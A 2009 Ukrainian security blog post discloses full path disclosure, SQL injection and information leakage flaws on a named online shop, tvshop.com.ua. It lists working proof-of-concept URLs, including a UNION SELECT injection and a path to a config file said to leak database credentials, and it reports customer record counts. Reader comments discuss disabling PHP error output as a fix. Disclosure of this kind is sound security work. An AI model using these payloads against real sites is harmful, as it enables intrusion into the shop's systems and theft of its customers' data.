Уразливості на tvshop.com.ua

19:26 03.07.2009

21.04.2009

У липні, 24.07.2008, я виявив Full path disclosure, SQL Injection та Information Leakage уразливості на сайті http://tvshop.com.ua (інтернет магазин), що також доступний за адресою http://i-shop.com.ua. Про що найближчим часом сповіщу адміністрацію сайта.

Стосовно дірок на сайтах онлайн магазинів в останнє я писав про уразливості на www.cddoma.com.ua.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

03.07.2009

Full path disclosure:

http://tvshop.com.ua/itemlist.php?cid=’

http://tvshop.com.ua/item.php

http://tvshop.com.ua/itemlist.php

http://tvshop.com.ua/catalog.php

SQL Injection:

http://tvshop.com.ua/itemlist.php?cid=-1%20or%20version()=4.0

http://tvshop.com.ua/catalog.php?cid=-1%20union%20select%201,version(),1,1,1/*

MySQL 4.0.27-standard-log

Зазначу, що в таблиці клієнтів магазину в БД торік, 24.07.2008, було 17197 записів. А сьогодні, майже через рік, 18112 записів. Тобто майже за рік у магазина збільшилося число клієнтів на 915. А хтось тут про кризис росказує :-) .

Information Leakage:

http://tvshop.com.ua/init.tpl

Витік login, password і name для бази даних та Source Code Disclosure.

Дані уразливості досі не виправлені.


4 відповідей на “Уразливості на tvshop.com.ua”

  1. poma каже:

    Full path disclosure:
    http://tvshop.com.ua/showhelp.php?c[]=7
    для виправлення потрібно добавити перевірку is_array параметру $_GET[’c']

  2. MustLive каже:

    poma

    Так, дірок на сайті може бути ще багато. Зокрема Full path disclosure.

    Звичайно можна їх всіх окремо виправляти, так як для showhelp.php ти запропонував, і відповідно повипрявляти дані уразливості в кожному скрипті на сайті, де вони мають місце. Але враховуючи, що таких уразливостей може бути багато, то це не оптимальний варіант.

    Найкращим варіантом для виправлення Full path disclosure в PHP є виключення виведення помилок. Про що я вже давно запланував написати статтю. Так що варто виправити дану уразливість одразу для всього сайту.

  3. poma каже:

    найпростіше створити .htaccess в корені, з таким вмістом:
    php_valu error_reporting “0″
    php_valu display_errors Off
    php_flag display_errors Off
    php_flag log_errors “0″

  4. MustLive каже:

    Саме це і треба зробити - задати відповідні налаштування в .htaccess, для відключення повідомлень про помилки. І розмістити цей файл варто в корені сайту, щоб його налаштування діяли на весь сайт. Це більш зручний і надійний варіант, ніж виправляти дані уразливості в кожному окремому php-файлі (щоб одразу виправити їх на всьому сайті).

    Я використовую дещо інші налаштування в своїй практиці. І я напишу про них в своїй статті.

Leave a Reply

You must be logged in to post a comment.